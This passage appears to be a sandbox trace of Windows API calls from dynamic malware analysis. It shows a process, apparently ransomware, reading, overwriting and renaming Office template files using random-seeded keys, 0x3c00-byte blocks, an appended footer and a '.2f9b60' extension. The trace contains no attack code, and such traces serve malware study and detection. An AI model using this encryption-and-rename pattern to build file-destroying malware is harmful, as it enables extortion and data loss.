Office\\Templates\\1033\\10256f08a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\10256f08a.2f9b60" [0200.345] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\10256f08a.2f9b60", NtPathName=0x359bfbf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\10256f08a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.345] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x431f4560 Thread: id = 1143 os_tid = 0x7d0 [0113.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\bloodpressuretracker.xltx")) returned 0x20 [0113.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx", dwFileAttributes=0x20) returned 1 [0113.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\bloodpressuretracker.xltx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15b4 [0113.075] GetFileSizeEx (in: hFile=0x15b4, lpFileSize=0x3611fbc0 | out: lpFileSize=0x3611fbc0*=29350) returned 1 [0113.075] SetFilePointerEx (in: hFile=0x15b4, liDistanceToMove=0x72a2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.075] ReadFile (in: hFile=0x15b4, lpBuffer=0x3611fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3611fb88, lpOverlapped=0x0 | out: lpBuffer=0x3611fb40*, lpNumberOfBytesRead=0x3611fb88*=0x4, lpOverlapped=0x0) returned 1 [0113.077] SetFilePointerEx (in: hFile=0x15b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202630b0 [0113.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261550 [0113.078] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262de0 [0113.078] NtQuerySystemTime (in: CurrentTime=0x3611fa80 | out: CurrentTime=0x3611fa80*=132462177185362000) returned 0x0 [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x2888ae2e [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x5314d9dd [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x240120ec [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x27e7402d [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x76efe40a [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x7e82bb3 [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x5b121e8c [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x1c7481d5 [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x4ac164 [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x77ebaf26 [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x5416a655 [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x4080e518 [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x7903bc36 [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x7f59f818 [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x376ab4f6 [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x7d4a39f [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x215ded22 [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x6fec8f41 [0113.078] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x723bc727 [0113.079] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x193c94af [0113.079] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x60e7d5f [0113.079] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0xed18904 [0113.079] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x4c10073d [0113.079] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x169f8164 [0113.079] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x16578938 [0113.079] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x21302a70 [0113.079] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x173da450 [0113.079] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x722d47a8 [0113.079] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x49141141 [0113.079] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x603d0542 [0113.079] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x479b3ffa [0113.079] RtlRandomEx (in: Seed=0x3611fa70 | out: Seed=0x3611fa70) returned 0x68c8e6b8 [0113.091] SetFilePointerEx (in: hFile=0x15b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.092] ReadFile (in: hFile=0x15b4, lpBuffer=0x41db1d40, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3611fae0, lpOverlapped=0x0 | out: lpBuffer=0x41db1d40*, lpNumberOfBytesRead=0x3611fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0113.094] SetFilePointerEx (in: hFile=0x15b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0113.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0113.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202630b0 [0113.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202630b0) returned 1 [0113.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41db5950 [0113.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202630b0 [0113.095] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262de0 [0113.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262de0) returned 1 [0113.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0113.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0113.095] WriteFile (in: hFile=0x15b4, lpBuffer=0x41db5950*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3611fae0, lpOverlapped=0x0 | out: lpBuffer=0x41db5950*, lpNumberOfBytesWritten=0x3611fae0*=0x3c00, lpOverlapped=0x0) returned 1 [0161.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41db5950) returned 1 [0161.110] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41db1d40) returned 1 [0161.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0161.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e90 [0161.110] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420608b0 [0161.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3500 [0161.111] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3500) returned 1 [0161.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97ee0 [0161.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3500 [0161.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3530 [0161.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3530) returned 1 [0161.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420608b0) returned 1 [0161.112] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e90) returned 1 [0161.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x124) returned 0x1b7d64c0 [0161.112] SetFilePointerEx (in: hFile=0x15b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0161.112] WriteFile (hFile=0x15b4, lpBuffer=0x1b7d64c0, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x3611fb90, lpOverlapped=0x0) [0207.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd979e0 [0207.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebac60 [0207.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bcd0 [0207.547] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bcd0) returned 1 [0207.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x431ac720 [0207.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bcd0 [0207.547] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bca0 [0207.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bca0) returned 1 [0207.548] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebac60) returned 1 [0207.549] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd979e0) returned 1 [0207.549] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x65) returned 0x4309f750 [0207.549] sprintf (in: _Dest=0x4309f750, _Format="%c%c" | out: _Dest="4f") returned 2 [0207.549] sprintf (in: _Dest=0x4309f752, _Format="%c%c" | out: _Dest="8a") returned 2 [0207.549] sprintf (in: _Dest=0x4309f754, _Format="%c%c" | out: _Dest="2b") returned 2 [0207.549] sprintf (in: _Dest=0x4309f756, _Format="%c%c" | out: _Dest="aa") returned 2 [0207.549] sprintf (in: _Dest=0x4309f758, _Format="%c%c" | out: _Dest="62") returned 2 [0207.549] sprintf (in: _Dest=0x4309f75a, _Format="%c%c" | out: _Dest="77") returned 2 [0207.549] sprintf (in: _Dest=0x4309f75c, _Format="%c%c" | out: _Dest="9b") returned 2 [0207.549] sprintf (in: _Dest=0x4309f75e, _Format="%c%c" | out: _Dest="b4") returned 2 [0207.549] sprintf (in: _Dest=0x4309f760, _Format="%c%c" | out: _Dest="e7") returned 2 [0207.550] sprintf (in: _Dest=0x4309f762, _Format="%c%c" | out: _Dest="13") returned 2 [0207.550] sprintf (in: _Dest=0x4309f764, _Format="%c%c" | out: _Dest="62") returned 2 [0207.550] sprintf (in: _Dest=0x4309f766, _Format="%c%c" | out: _Dest="b3") returned 2 [0207.550] sprintf (in: _Dest=0x4309f768, _Format="%c%c" | out: _Dest="71") returned 2 [0207.550] sprintf (in: _Dest=0x4309f76a, _Format="%c%c" | out: _Dest="3a") returned 2 [0207.550] sprintf (in: _Dest=0x4309f76c, _Format="%c%c" | out: _Dest="26") returned 2 [0207.550] sprintf (in: _Dest=0x4309f76e, _Format="%c%c" | out: _Dest="08") returned 2 [0207.550] sprintf (in: _Dest=0x4309f770, _Format="%c%c" | out: _Dest="6f") returned 2 [0207.550] sprintf (in: _Dest=0x4309f772, _Format="%c%c" | out: _Dest="36") returned 2 [0207.550] sprintf (in: _Dest=0x4309f774, _Format="%c%c" | out: _Dest="df") returned 2 [0207.550] sprintf (in: _Dest=0x4309f776, _Format="%c%c" | out: _Dest="6c") returned 2 [0207.550] sprintf (in: _Dest=0x4309f778, _Format="%c%c" | out: _Dest="dc") returned 2 [0207.550] sprintf (in: _Dest=0x4309f77a, _Format="%c%c" | out: _Dest="fe") returned 2 [0207.550] sprintf (in: _Dest=0x4309f77c, _Format="%c%c" | out: _Dest="84") returned 2 [0207.550] sprintf (in: _Dest=0x4309f77e, _Format="%c%c" | out: _Dest="d3") returned 2 [0207.550] sprintf (in: _Dest=0x4309f780, _Format="%c%c" | out: _Dest="97") returned 2 [0207.550] sprintf (in: _Dest=0x4309f782, _Format="%c%c" | out: _Dest="45") returned 2 [0207.550] sprintf (in: _Dest=0x4309f784, _Format="%c%c" | out: _Dest="d2") returned 2 [0207.550] sprintf (in: _Dest=0x4309f786, _Format="%c%c" | out: _Dest="a9") returned 2 [0207.550] sprintf (in: _Dest=0x4309f788, _Format="%c%c" | out: _Dest="03") returned 2 [0207.550] sprintf (in: _Dest=0x4309f78a, _Format="%c%c" | out: _Dest="eb") returned 2 [0207.550] sprintf (in: _Dest=0x4309f78c, _Format="%c%c" | out: _Dest="6e") returned 2 [0207.550] sprintf (in: _Dest=0x4309f78e, _Format="%c%c" | out: _Dest="2b") returned 2 [0207.550] sprintf (in: _Dest=0x4309f790, _Format="%c%c" | out: _Dest="69") returned 2 [0207.550] sprintf (in: _Dest=0x4309f792, _Format="%c%c" | out: _Dest="2c") returned 2 [0207.550] sprintf (in: _Dest=0x4309f794, _Format="%c%c" | out: _Dest="4c") returned 2 [0207.550] sprintf (in: _Dest=0x4309f796, _Format="%c%c" | out: _Dest="19") returned 2 [0207.550] sprintf (in: _Dest=0x4309f798, _Format="%c%c" | out: _Dest="98") returned 2 [0207.550] sprintf (in: _Dest=0x4309f79a, _Format="%c%c" | out: _Dest="2f") returned 2 [0207.550] sprintf (in: _Dest=0x4309f79c, _Format="%c%c" | out: _Dest="57") returned 2 [0207.550] sprintf (in: _Dest=0x4309f79e, _Format="%c%c" | out: _Dest="52") returned 2 [0207.550] sprintf (in: _Dest=0x4309f7a0, _Format="%c%c" | out: _Dest="c8") returned 2 [0207.550] sprintf (in: _Dest=0x4309f7a2, _Format="%c%c" | out: _Dest="b7") returned 2 [0207.550] sprintf (in: _Dest=0x4309f7a4, _Format="%c%c" | out: _Dest="c1") returned 2 [0207.551] sprintf (in: _Dest=0x4309f7a6, _Format="%c%c" | out: _Dest="07") returned 2 [0207.551] sprintf (in: _Dest=0x4309f7a8, _Format="%c%c" | out: _Dest="4e") returned 2 [0207.551] sprintf (in: _Dest=0x4309f7aa, _Format="%c%c" | out: _Dest="d6") returned 2 [0207.551] sprintf (in: _Dest=0x4309f7ac, _Format="%c%c" | out: _Dest="7f") returned 2 [0207.551] sprintf (in: _Dest=0x4309f7ae, _Format="%c%c" | out: _Dest="19") returned 2 [0207.551] sprintf (in: _Dest=0x4309f7b0, _Format="%c%c" | out: _Dest="be") returned 2 [0207.551] sprintf (in: _Dest=0x4309f7b2, _Format="%c%c" | out: _Dest="e8") returned 2 [0207.551] RtlInitAnsiString (in: DestinationString=0x3611fc08, SourceString="4f8a2baa62779bb4e71362b3713a26086f36df6cdcfe84d39745d2a903eb6e2b692c4c19982f5752c8b7c1074ed67f19bee8" | out: DestinationString="4f8a2baa62779bb4e71362b3713a26086f36df6cdcfe84d39745d2a903eb6e2b692c4c19982f5752c8b7c1074ed67f19bee8") [0207.551] RtlAnsiStringToUnicodeString (in: DestinationString=0x3611fbd8, SourceString="4f8a2baa62779bb4e71362b3713a26086f36df6cdcfe84d39745d2a903eb6e2b692c4c19982f5752c8b7c1074ed67f19bee8", AllocateDestinationString=1 | out: DestinationString="4f8a2baa62779bb4e71362b3713a26086f36df6cdcfe84d39745d2a903eb6e2b692c4c19982f5752c8b7c1074ed67f19bee8") returned 0x0 [0207.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xca) returned 0x43157600 [0207.551] wcscat (in: _Dest=0x43145590, _Source="4f8a2baa62779bb4e71362b37" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4f8a2baa62779bb4e71362b37") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4f8a2baa62779bb4e71362b37" [0207.551] wcscat (in: _Dest=0x43145590, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4f8a2baa62779bb4e71362b37.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4f8a2baa62779bb4e71362b37.2f9b60" [0207.551] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\4f8a2baa62779bb4e71362b37.2f9b60", NtPathName=0x3611fbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\4f8a2baa62779bb4e71362b37.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.551] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x430fccd0 Thread: id = 1144 os_tid = 0x700 [0113.093] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\classicphotoalbum.potx")) returned 0x20 [0113.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx", dwFileAttributes=0x20) returned 1 [0113.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\ClassicPhotoAlbum.potx" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\classicphotoalbum.potx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15b0 [0113.098] GetFileSizeEx (in: hFile=0x15b0, lpFileSize=0x361cfbe0 | out: lpFileSize=0x361cfbe0*=1201176) returned 1 [0113.098] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x125414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.098] ReadFile (in: hFile=0x15b0, lpBuffer=0x361cfb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x361cfba8, lpOverlapped=0x0 | out: lpBuffer=0x361cfb60*, lpNumberOfBytesRead=0x361cfba8*=0x4, lpOverlapped=0x0) returned 1 [0113.101] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262de0 [0113.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261d00 [0113.101] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ca0 [0113.101] NtQuerySystemTime (in: CurrentTime=0x361cfaa0 | out: CurrentTime=0x361cfaa0*=132462177185674000) returned 0x0 [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x54849170 [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x31bd7c94 [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x29287c8b [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x59b9d830 [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x77c81691 [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x4700f538 [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x26a2f109 [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x17b95569 [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x4ffc9c23 [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x5c0268ac [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x1d7529c [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x7f130866 [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0xda1c461 [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0xba0cc69 [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x36ff803e [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x5f407fcd [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x2765535b [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x5c830bd4 [0113.101] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x5268a951 [0113.102] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x4bae157b [0113.102] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x91529ff [0113.102] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x3d2cdb86 [0113.102] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x6a26507b [0113.102] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x94e570f [0113.102] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x16684dbe [0113.102] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x31ff98b1 [0113.102] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x555c4632 [0113.102] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x625871b8 [0113.102] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x2fa065e1 [0113.102] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x5f3ca964 [0113.102] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x72bdf3d6 [0113.102] RtlRandomEx (in: Seed=0x361cfa90 | out: Seed=0x361cfa90) returned 0x39bd8b72 [0113.111] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.111] ReadFile (in: hFile=0x15b0, lpBuffer=0x41db9560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x361cfb00, lpOverlapped=0x0 | out: lpBuffer=0x41db9560*, lpNumberOfBytesRead=0x361cfb00*=0x3c00, lpOverlapped=0x0) returned 1 [0113.114] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0113.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868ac0 [0113.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262de0 [0113.114] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262de0) returned 1 [0113.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41dbd170 [0113.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262de0 [0113.115] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ca0 [0113.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261ca0) returned 1 [0113.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868ac0) returned 1 [0113.115] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0113.115] WriteFile (in: hFile=0x15b0, lpBuffer=0x41dbd170*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x361cfb00, lpOverlapped=0x0 | out: lpBuffer=0x41dbd170*, lpNumberOfBytesWritten=0x361cfb00*=0x3c00, lpOverlapped=0x0) returned 1 [0147.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41dbd170) returned 1 [0147.869] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x96000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.869] ReadFile (in: hFile=0x15b0, lpBuffer=0x41db9560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x361cfb00, lpOverlapped=0x0 | out: lpBuffer=0x41db9560*, lpNumberOfBytesRead=0x361cfb00*=0x3c00, lpOverlapped=0x0) returned 1 [0147.992] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x96000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0147.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0147.992] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a60e0 [0147.992] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a60e0) returned 1 [0147.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423885a0 [0147.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a60e0 [0147.993] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6470 [0147.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6470) returned 1 [0147.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0147.994] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0147.994] WriteFile (hFile=0x15b0, lpBuffer=0x423885a0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x361cfb00, lpOverlapped=0x0) [0179.935] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423885a0) returned 1 [0179.935] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x121818, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.935] ReadFile (in: hFile=0x15b0, lpBuffer=0x41db9560, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x361cfb00, lpOverlapped=0x0 | out: lpBuffer=0x41db9560*, lpNumberOfBytesRead=0x361cfb00*=0x3c00, lpOverlapped=0x0) returned 1 [0182.050] SetFilePointerEx (in: hFile=0x15b0, liDistanceToMove=0x121818, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ef40 [0182.051] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ef40) returned 1 [0182.051] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42366910 [0182.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ef40 [0182.052] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 